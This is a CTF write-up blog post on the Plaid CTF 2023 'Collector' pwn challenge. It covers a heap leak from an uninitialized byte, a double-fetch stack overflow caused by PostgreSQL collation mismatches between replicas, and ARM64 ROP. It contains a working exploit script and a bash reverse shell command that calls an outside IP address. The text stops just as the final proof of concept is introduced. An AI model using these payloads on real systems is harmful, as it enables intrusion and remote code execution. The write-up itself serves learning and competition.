Last weekend, I played with the Blue Water team in the Plaid CTF 2023. We had the honor of not only competing but also securing first place in this prestigious event. It was an intense and exciting competition, and we all put our skills to the test. A huge shoutout and thanks to my awesome teammates for their fantastic teamwork during the Plaid CTF 2023!
One of the pwn challenges that we were able to tackle was called “Collector.” Remarkably, we were the team that first blooded this particular challenge, and we remained the only team to successfully solve it. In this blog post, I’ll be walking you through our approach to this challenge and how we managed to crack it.
Pwn
Collector
Description
Shiver me timbers! We shan’t be running you a rig here. The scuttlebut be that the greatest booty in all the land be ready and waiting to barter. Bring yer coin ye scurvy dog and make off with enough gear to make yer husband, yer kids, and yer parrot into right swashbucklers.
Initial Analysis
For this challenge, we were provided with a .tgz file containing the docker and challenge sources. In summary, the challenge consisted of four containers that needed to be spawned:
web
webhook
maindb
workerdb
Each container had its own responsibilities, but to summarize:
maindb is the master db that is used by the container web.
workerdb is the replica db that is used by the container webhook.
The WAL replication that is used is replica or streaming replication (based on the postgresql maindb config in the given file).
web is the main container that we interacted with (the website interface + the API)
webhook is a container that will be used by the web to handle one of the API call that we can use (we will discuss this later).
After reviewing the maindb schema, we found that a total of seven tables had been created:
hooks
items
market
initial_inventory
inventory
users
flag
As it turned out, our flag was stored within the flag table, which meant that our ultimate objective was to find a way to interact with the table and extract its contents.
Our next step was to inspect the web container, starting with a review of the routes/index.tsxsource code. This file contained the primary API logic that we needed to interact with.
import{create}from"domain";import{createEffect,createRenderEffect,createSignal,For,onCleanup,Show}from"solid-js";import{FormError,useRouteData}from"solid-start";import{createServerAction$,createServerData$,redirect,}from"solid-start/server";importsqlfrom"~/db";import{getUser,getUserSession,logout,requireUserId}from"~/db/session";import*asfsfrom'node:fs/promises';import{requestHook}from"~/db/hook";import{Form}from"solid-start/data/Form";importtoastfrom"solid-toast";constCOIN_ID='0';typeMarketItem={id:string,name:string,kind:string,bid_price:number|null,ask_price:number|null,bid_size:number|null,ask_size:number|null,};typeRouteData={userId:string,market:MarketItem[],inventory:{[item_id:string]:number},watchedItems:string[]}exportfunctionrouteData(){returncreateServerData$<RouteData>(async(_,{request})=>{constuserId=awaitrequireUserId(request);constmarkets=awaitsql`
SELECT kind, name, items.id, bid_price, bid_size, ask_price, ask_size FROM items
LEFT JOIN market ON market.item_id = items.id
ORDER BY items.id ASC
`;constinventory=awaitsql`
SELECT item_id, count FROM inventory
WHERE user_id = ${userId} AND count > 0
`;constinventoryDict=Object.fromEntries(inventory.map(x=>[x.item_id,Number(x.count)]));constwatching=awaitsql`
SELECT DISTINCT kind FROM hooks
WHERE user_id = ${userId} `;functionstringnum(x:string|null):number|null{if(x)returnNumber(x);elsereturnnull;}constmarketArray=markets.map(({id,name,kind,bid_price,ask_price,bid_size,ask_size})=>{return{id,kind,name,bid_price:stringnum(bid_price),bid_size:stringnum(bid_size),ask_price:stringnum(ask_price),ask_size:stringnum(ask_size),}});return{userId,market:marketArray,inventory:inventoryDict,watchedItems:watching.map(x=>x.kind)};});}exportdefaultfunctionHome(){constdata=useRouteData<typeofrouteData>();const[,{Form:LogoutForm}]=createServerAction$((f:FormData,{request})=>logout(request));const[transacting,{Form:Transact}]=createServerAction$(async(f:FormData,{request})=>{constuserId=awaitrequireUserId(request);constaction=f.get('action');if(action==='buy'||action==='sell'){constitem=f.get('item');constsize=f.get('size');if(typeofitem!=='string'||typeofsize!=='string'){thrownewFormError('Bad submission');}constdirsign=action==='buy'?1:-1;consttradewith=action==='buy'?'ask':'bid';constsignedSize=dirsign*Number(size);try{awaitsql.begin(async(sql)=>{awaitsql`
INSERT INTO inventory (user_id, item_id, count)
VALUES (${userId}, ${item}, 0)
ON CONFLICT (user_id, item_id) DO NOTHING
`;awaitsql`
WITH current_market AS (
UPDATE market
SET ${sql(`${tradewith}_size`)} = ${sql(`${tradewith}_size`)} - ${size} WHERE item_id = ${item} RETURNING ${sql(`${tradewith}_price`)} as price
)
UPDATE inventory
SET count = count - ${signedSize} * price
FROM current_market
WHERE item_id = ${COIN_ID} AND user_id = ${userId} `;awaitsql`
UPDATE inventory
SET count = count + ${signedSize} WHERE item_id = ${item} AND user_id = ${userId} `;});}catch(e){thrownewFormError(`You are no longer able to ${action} that item`);}returnredirect('/');}elseif(action==='watch'){consttarget=f.get('url');constkind=f.get('kind');constsecret=f.get('secret');if(typeoftarget!=='string'||typeofkind!=='string'||typeofsecret!=='string'){thrownewFormError('Bad submission');}if(!/^[0-9]+$/.exec(secret)){thrownewFormError('Unable to start watching',{fieldErrors:{secret:'Secret must be a number'}});}try{constnewId=awaitsql`
INSERT INTO hooks(user_id, kind, target, secret)
VALUES (${userId}, ${kind}, ${target}, ${secret})
RETURNING id
`;returnredirect(`/?watchId=${newId[0]!.id}`);}catch(e){thrownewFormError('Unable to watch that item')}}elseif(action==='unwatch'){constkind=f.get('kind');consthookId=f.get('id');if(typeofkind!=='string'||(hookId&&typeofhookId!=='string')){thrownewFormError('Bad submission');}consthookFilter=hookId?sql`id = ${hookId}`:sql`TRUE`;awaitsql`
DELETE FROM hooks
WHERE user_id = ${userId} AND kind = ${kind} AND ${hookFilter} `;returnredirect('/');}elseif(action==='notify'){constkind=f.get('kind');if(typeofkind!=='string'){thrownewFormError('Bad submission');}if(awaitrequestHook()!=='can-hook')thrownewFormError('Unable to notify at this time');constdata=newURLSearchParams();data.append('kind',kind);for(const[key,value]off.entries()){if(typeofvalue!=='string')thrownewFormError('Bad submission');if(key==='kind'||key==='action')continue;data.append(key,value);}try{awaitfs.appendFile('/queue/hook',data.toString()+'\n');}catch(e){thrownewFormError('Unable to trigger the notification');}returnredirect('/');}else{thrownewFormError('Action is not implemented');}});constinventoryCount=(item_id:string)=>data()?.inventory?.[item_id]??0;createEffect(()=>{if(transacting.error)toast.error(transacting.error.message);});constnotifyingItem=()=>transacting.input?.get('action')==='notify';// TODO: progressively enhanced responses
return(<main><divclass="markets"><Foreach={data()?.market}>{(it)=>{consttransactingHere=()=>transacting.input?.get('item')===it.id?transacting:undefined;consttransactingWatch=()=>(['watch','unwatch']asunknown[]).includes(transactingHere()?.input?.get('action'));const[watchOverlayShown,showWatchOverlay]=createSignal(transactingWatch()&&transactingHere()?.pending);constwatchingItem=()=>data()?.watchedItems.includes(it.kind);// hide or show the overlay based on whether we succeeded in watching
createEffect(()=>{if(transactingHere()?.pending===true&&transactingWatch()){onCleanup(()=>{if(!transactingHere()?.error)showWatchOverlay(false);});}if(transactingHere()?.pending===true&¬ifyingItem()){onCleanup(()=>{if(!transactingHere()?.error)toast(`Notified watchers of ${it.name}`);});}});return<Transact><divclass="market"><inputtype="hidden"name="size"value="1"/><inputtype="hidden"name="item"value={it.id}/><inputtype="hidden"name="kind"value={it.kind}/><divclass="image"><imgsrc={`items/${it.kind}.png`}/></div><divclass="item-name">{it.name}({inventoryCount(it.id)})</div><divclass="market-actions"><buttontype="submit"name="action"value="buy"class="buy"disabled={!(it.ask_price&&(it.ask_size??0)>0&&inventoryCount(COIN_ID)>=it.ask_price)}>Buy{it.ask_price&&`(${it.ask_price}g)`}</button><buttontype="submit"name="action"value="sell"class="sell"disabled={!(it.bid_price&&(it.bid_size??0)>0&&inventoryCount(it.id)>0)}>Sell{it.bid_price&&`(${it.bid_price}g)`}</button></div><buttonclass="notify-button"name="action"value="notify"disabled={notifyingItem()}>âš¡</button><divclass="watch-overlay"classList={{shown:watchOverlayShown()}}><buttonclass="watch-button"onClick={()=>showWatchOverlay(!watchOverlayShown())}type="button">{watchingItem()?'✅':'👀'}</button><Showwhen={watchOverlayShown()}><Showwhen={!watchingItem()}><inputtype="text"name="url"placeholder="URL"/><Showwhen={transacting.error?.fieldErrors?.url}><prole="alert">{transacting.error.fieldErrors.url}</p></Show><inputtype="text"name="secret"placeholder="Secret"/><Showwhen={transacting.error?.fieldErrors?.secret}><prole="alert">{transacting.error.fieldErrors.secret}</p></Show><buttontype="submit"name="action"value="watch">Watch</button></Show><Showwhen={watchingItem()}><buttontype="submit"name="action"value="unwatch">Stopwatching</button></Show></Show></div></div></Transact>}}</For></div ><LogoutForm><buttonname="logout"type="submit">Logout</button></LogoutForm></main >);}
Moving on, we decided to ignore the buy and sell actions since they weren’t relevant to our objective. Instead, we focused on breaking down the remaining actions one by one:
watch
This action was used to populate the hooks table. Interestingly, we discovered that we could set the kind, url, and secret values to any values we wanted.
unwatch
As the name suggests, this action was used to delete certain entries from the hooks table.
notify
This was the action where the web container would interact with the webhook container. Specifically, the web container would append the kind value that we had set during our call to this API to the shared file located at /queue/hook. Later on, this file would be processed by the webhook container.
Our next step was to check out the webhook container. We were only provided with the binary file for webhook, which was an aarch64 file. Before we could proceed, we needed to disassemble it first (Thanks to my teammate sampriti who provided the clean idb which helps us a lot on understanding the decompiled code).
What we discovered was that the perform_hooks function attempted to fetch rows from the hooks table that matched the kind value that had been previously fetched. From there, it would attempt to hit the stored target (url) that we had previously inserted via the watch function. As we dug deeper into the code, my teammates (cbmixx and kexplo1t) uncovered two bugs within this function:
We observed that there was a bug present in which the last byte of the memory block created by the malloc(n+1) call was not cleared during the memcpy call. Specifically, the memcpy call only used the first n bytes, leaving the uninitialized last byte alone. If the uninitialized last byte was not null-terminator, then it was possible for the targets[i] value to be extended by the uninitialized value within the heap. As a result, we could potentially leak some useful values during the program’s use of curl to hit the targets[i] value.
To provide an example, let’s say that the targets[i] is http://test/?x=_. Due to the extra last byte not being cleared, there was a possibility that during the curl call, the targets[i] value could become http://test?x=_extradata. Therefore, we set up a listening server to capture incoming requests from the webhook, in the hopes that the extradata would contain some useful values.
v46=PQexecParams(conn_,"SELECT count(kind) FROM hooks WHERE kind = $1",1LL,0LL,&kind_,0LL,0LL,1LL);if(PQresultStatus(v46)!=2)gotoLABEL_2;v7=PQgetvalue(v46,0,0);num_hooks=byteswap64(*v7);PQclear(v46);if(num_hooks>0xA){fprintf(stderr,"too many hooks (%zu) for kind %s\n",num_hooks,kind_);num_hooks=10LL;}v46=PQexecParams(conn_,"SELECT target, secret FROM hooks WHERE kind = $1 ORDER BY target LIMIT 10",1LL,0LL,&kind_,0LL,0LL,1LL);if(PQresultStatus(v46)==2){v45=num_hooks-1;v15[22]=num_hooks;v15[23]=0LL;v15[27]=num_hooks>>58;v15[26]=num_hooks<<6;v15[20]=num_hooks;v15[21]=0LL;v15[25]=num_hooks>>58;v15[24]=num_hooks<<6;secrets=v15;v43=num_hooks-1;v15[18]=num_hooks;v15[19]=0LL;v15[16]=num_hooks;v15[17]=0LL;targets=v15;v41=num_hooks-1;v15[14]=num_hooks;v15[15]=0LL;v15[12]=num_hooks;v15[13]=0LL;resp_headers=v15;for(i=0;;++i){v13=PQntuples(v46);if(i>=v13)break;n=PQgetlength(v46,i,0LL);v8=malloc(n+1);targets[i]=v8;v9=targets[i];v10=PQgetvalue(v46,i,0);memcpy(v9,v10,n);v11=PQgetvalue(v46,i,1);v12=byteswap64(*v11);secrets[i]=v12;}...
It was important for us to note that a double-fetch bug was present within this code, which could trigger an OOB write in the stack. The first fetch involved using the SELECT COUNT(*) query to retrieve the number of rows, which was then stored within the num_hooks variable. This value was then used to allocate the size of both targets and secrets using alloca (Although it wasn’t immediately clear, based on our team’s observations, the strange operation involving v15 and num_hook was equivalent to alloca).
As a result of this, we realized that if we could produce a different result between the SELECT COUNT(*) and the SELECT target, secret queries (where num_hooks was smaller than the number of rows returned from the second query), then we could potentially overflow the stack. This was because the alloca size would be smaller due to the use of the num_hooks value. However, during the setup of the secrets[i] value, it used the PQntuples result to set up the values instead. Since the result was greater than num_hooks, it meant that we could potentially do an out-of-bounds (OOB) write in the stack.
Now that we have identified the bugs, our next step was to think about how to exploit them.
Solution
To tackle this challenge, we broke the solution down into three steps:
Obtaining useful leak values
Triggering the double-fetch bug
Obtaining a Reverse Shell through OOB Write
Obtaining useful leak values
To gain a better understanding of the heap layout within our local environment, I decided to spent a significant amount of time experimenting with the watch and notify APIs so that I could create a reliable POC to get the leak.
To start, I set up my own listening server to receive the curl request that was triggered by the webhook binary during the processing of the notify API. It’s important to note that this step was actually quite crucial, as different listening servers can produce different heap layouts. This is because libcurl also uses the heap during the reception of packets from your listening server, meaning that different code within your listening server can produce varying heap layouts.
Given my preference for efficiency, I decided to save some time and simply copied the listening server code from a Stack Overflow question :). From there, I made some minor modifications to the code to fit our specific needs.
After spending some time experimenting with the challenge, I managed to find a way to obtain a libc and heap leak (with a 50% chance, due to the buggy listening server code that I copied from Stack Overflow). Specifically, I called notify and attempted to force the malloc(n+1) call to reuse the same chunk address within the unsorted bin multiple times.
In order to achieve this scenario, I needed to call notify three separate times, each with an increasing size. The first allocation was utilized to set up the initial leak, which was subsequently freed and contained a main_arena address that we could leak in the next allocation.
For the second allocation, we utilized the uninitialized data from the previous allocation to leak the main_arena address, which was also subsequently freed and contained a heap address that we could leak in the next allocation.
Finally, the third allocation was used to leak the heap address, which was obtained from the uninitialized data within the previous allocation.
importrequestsfrompwnimport*importosbase_url='http://c3cb0aa7-ebd9-45c8-9c3c-e7b4c1b96285.collector.chal.pwni.ng:20000'login_url=f"{base_url}/_m/2e7970cbec/loggingIn"transact_url=f"{base_url}/_m/34a106c003/transacting"item_map={"gold":"0","bomb":"32","rum":"4","anchor":"5",}defcreate_user(username,password):print(f'create_user {username}')session=requests.Session()data={"redirectTo":"/","username":username,"password":password,}resp=session.post(login_url,data=data)print(resp.status_code)returnsessiondefwatch(kind,url,session):print(f'Watch {kind}')data={"size":"1","item":item_map[kind],"kind":kind,"url":url,"secret":"123","action":"watch",}resp=session.post(transact_url,data=data)print(resp.status_code)defunwatch(kind,session):print(f'Unwatch {kind}')data={"kind":kind,"action":"unwatch",}resp=session.post(transact_url,data=data)print(resp.status_code)defnotify(kind,session):print(f'Notify {kind}')data={"size":"1","item":item_map[kind],"kind":kind,"action":"notify",}resp=session.post(transact_url,data=data)print(resp.status_code)# Create 3 users# random_hex = os.urandom(5).hex()random_hex='d0bebc4a8f's1=create_user(f"user1-{random_hex}","user1")s2=create_user(f"user2-{random_hex}","user2")s3=create_user(f"user3-{random_hex}","user3")# Clean up hooks dbprint("unwatch...")unwatch("gold",s1)unwatch("gold",s2)unwatch("gold",s3)unwatch("bomb",s1)unwatch("rum",s1)unwatch("anchor",s1)# Watch gold# Length need to be 0x4ffgold_url_1='http://18.143.50.149:4/?x=__/plugins___________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________'# Length need to be 0x43fgold_url_2='http://18.143.50.149:4/?x=__/plugins___________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________'watch("gold",gold_url_1,s1)watch("gold",gold_url_1,s2)watch("gold",gold_url_2,s3)# Watch bomb# Length need to be 0x7d7bomb_url='http://18.143.50.149:4/?x=__/plugins___________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________'watch("bomb",bomb_url,s1)# Watch rum# Length need to be 0x7e8rum_url='http://18.143.50.149:4/?x=__/plugins____________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________'watch("rum",rum_url,s1)# Watch anchor# Length need to be 0x800# The position of `bash xxx` need to be exact with this positionanchor_url='http://18.143.50.149:4/?x=__/plugins______________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________bash -c "bash -i >& /dev/tcp/18.143.50.149/6666 0>&1";________________________'watch("anchor",anchor_url,s1)print(f'Add some delay before continue...')sleep(5)# Notify goldnotify("gold",s1)print(f'Add some delay before continue...')sleep(6)# Notify bombnotify("bomb",s1)print(f'Add some delay before continue...')sleep(6)# Notify rum (This will leak main_arena+96)notify("rum",s1)sleep(6)# Notify rum (This will leak heap)notify("anchor",s1)sleep(3)# Clean up hooks dbprint("unwatch...")unwatch("gold",s1)unwatch("gold",s2)unwatch("gold",s3)unwatch("bomb",s1)unwatch("rum",s1)unwatch("anchor",s1)
Essentially, what I did was:
Create three accounts (user1, user2, user3)
Call watch(kind1) with url length 0x4ff for user1.
Call watch(kind1) with url length 0x4ff for user2.
Call watch(kind1) with url length 0x43f for user3.
Call watch(kind2) with url length 0x7d7 for user1.
Call watch(kind3) with url length 0x7e8 for user1.
We will call notify on this later to get a libc leak.
Call watch(kind4) with url length 0x800 for user1.
We will call notify on this later to get a heap leak.
Call notify(kind1).
Call notify(kind2).
Call notify(kind3).
Our listening server will be hit with our input url + libc leak.
Call notify(kind4).
Our listening server will be hit with our input url + heap leak.
And here is our buggy listening server code. You can’t change this server code to get the leak with my previous script.
importstructimportsocketimportsysimportthreadingimporttime# --- constants ---HOST='0.0.0.0'# local address IP (not external address IP)# '0.0.0.0' or '' - conection on all NICs (Network Interface Card),# '127.0.0.1' or 'localhost' - local conection only (can't connect from remote computer)# 'Local_IP' - connection only on one NIC which has this IPPORT=4# local port (not external port)# --- functions ---defhandle_client(conn,addr):data=conn.recv(1024*3)print(f'recv_data: {data}')#request_string = data.decode("utf-8")try:whileTrue:conn.send(data)#conn.send(request_string.encode("utf-8"))time.sleep(5)exceptBrokenPipeError:print('[DEBUG] addr:',addr,'Connection closed by client?')exceptExceptionasex:print('[DEBUG] addr:',addr,'Exception:',ex,)finally:conn.close()# --- main ---#all_threads = [] try:# --- create socket ---print('[DEBUG] create socket')#s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s=socket.socket()# default value is (socket.AF_INET, socket.SOCK_STREAM) so you don't have to use it# --- options ---# solution for "[Error 89] Address already in use". Use before bind()s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)# --- assign socket to local IP (local NIC) ---print('[DEBUG] bind:',(HOST,PORT))s.bind((HOST,PORT))# one tuple (HOST, PORT), not two arguments# --- set size of queue ---print('[DEBUG] listen')s.listen(1)# number of clients waiting in queue for "accept".# If queue is full then client can't connect.whileTrue:# --- accept client ---# accept client and create new socket `conn` (with different port) for this client only# and server will can use `s` to accept other clients (if you will use threading)print('[DEBUG] accept ... waiting')conn,addr=s.accept()# socket, addressprint('[DEBUG] addr:',addr)t=threading.Thread(target=handle_client,args=(conn,addr))t.start()#all_threads.append(t)exceptExceptionasex:print(ex)exceptKeyboardInterruptasex:print(ex)except:print(sys.exc_info())finally:# --- close socket ---print('[DEBUG] close socket')s.close()#for t in all_threads:# t.running = False # it would need to build own class Thread# t.join()
If you run the listening server and then execute the solve.py file, you will get this kind of leaks in the listening server.
It’s important to note that both of the curl request URL parameters that we received contained an appended libc and heap address.
Fun Fact 1
Notice that the solve.py scripts contains a lot of sleep after calling the notify. I know it’s weird, but due to the buggy listening server that we use, we need to add delays between each notify to get the leak.
If we failed to get the leak even after the sleep, we need to respawn a new instance and re-run the solver script again (and maybe adjust the sleep time again lol).
It’s not elegant, but hey it works :)
Fun Fact 2
We actually try to code a new listening server to increase the reliability of our libc leak later. While it is reliable in our local, it didn’t work in the remote server. So we decided to keep using this buggy listening server code :)
With a method in place to obtain a useful leak, we can move on to the next step, which involves triggering the double-fetch bug.
Triggering double-fetch bug
My teammates (Riatre, sampriti, and khokho) were the one who tried to trigger this bug by playing around the PostgreSQL. Despite spending a significant amount of time attempting to race and trigger the double-fetch bug, we were ultimately unsuccessful to trigger it in remote (it worked sometimes in the local). Fortunately, the authors provided us with a hint that proved to be quite helpful.
Hint from authors
The intended solution does NOT involve a race condition. The only randomness in the intended solution is ASLR. The proof of work is intentionally high and will not be lowered. Look more closely at the differences between the Dockerfile in maindb and workerdb.
After inspecting the Dockerfile, we discovered that although both maindb and workerdb utilized the same version of PostgreSQL, they were installed on different operating systems. Specifically, maindb was installed on alpine, whereas workerdb was installed on debian.
In an attempt to better understand the impact of utilizing different operating systems within a master-slave cluster, we came across an informative article, that discussed the potential issues that could arise in streaming replication due to differences in locale. We also discovered another article that served to reinforce our suspicions that there may be an issue related to locale which caused different collation behavior. After testing the provided POC within the aforementioned article, it became clear that our concerns were indeed warranted.
Given our newfound understanding of the potential issues that can arise due to differences in locale within a master-slave cluster, we realized that we actually don’t need to trigger a race. Instead, our focus shifted to manipulating the index in such a way that the SELECT COUNT(*) query would return a smaller value than the actual result obtained via the SELECT target, secret query.
My teammate Riatre were able to devise a POC that resulted in the SELECT COUNT(*) query returning a value of 0, despite the SELECT target, secret query yielding a total of 10 rows. While our initial approach had utilized unicode, which we soon discovered was not allowed, Riatre discovered that we could leverage the differing results of the 'E' > 'd' comparison between maindb and workerdb to trigger the double-fetch bug.
The POC is:
Insert 1000 hooks with kind=d.
Insert 1000 hooks with kind=E.
Sleep for 1 minute to wait for auto vacuum
After running the POC, workerdb was unable to interpret the index correctly due to the differing results of the comparison, causing the count query to produce 0 and the second query to yield 10 rows. This gave us a reliable way to trigger the double-fetch bug.
Obtaining a Reverse Shell through OOB Write
Now that we have triggered the double-fetch, it means we have an OOB write in the stack. Let’s recap what we have accomplished so far:
We have obtained a libc and heap leak.
We are able to do OOB Write in stack.
We couldn’t directly interact with the webhook.
Due to the presence of an out-of-bounds (OOB) write in the stack, we simply need to perform ROP. By inspecting the registers using gdb, we observe that our secrets[i] value is actually loaded to registers x19-x26 and x29-x30. It’s important to note that webhook is an arm64 binary, which means that the return address is stored in x30. This observation indicates that we have control over the webhook PC.
While examining the available gadgets in the webhook libc, we discovered the following useful gadget (Thanks to my teammate zxc1337):
1
0x0000000000021af8: mov x0, x19; blr x20;
Since we have control over both x20 and x19 registers, our next step is to set x20 to the system function and x19 to the address of our desired system command.
We attempted to set x19 using the leaked heap values plus an offset that we derived from our local environment. However, we encountered a discrepancy between the heap layouts in our local and remote environments, which hindered our progress.
So, we decided to spray the heap with our reverse shell commands and then bruteforce the offset. Eventually, we discovered a suitable offset that led to our sprayed reverse shell commands. With this successful connection to the reverse shell, we were able to extract the flag from the database.
The reverse shell command
At first, we tried to do the usual reverse shell command bash -i >& /dev/tcp/18.143.50.149/6666, but it doesn’t work with system(). And then my teammate sampriti found out that to make the reverse shell works with system(), the reverse shell command need to be wrapped inside bash -c.
So, the final reverse shell command is something like this bash -c "bash -i >& /dev/tcp/18.143.50.149/6666".
Here is the POC that demonstrates how to spray the heap and gain PC control using the OOB Write vulnerability: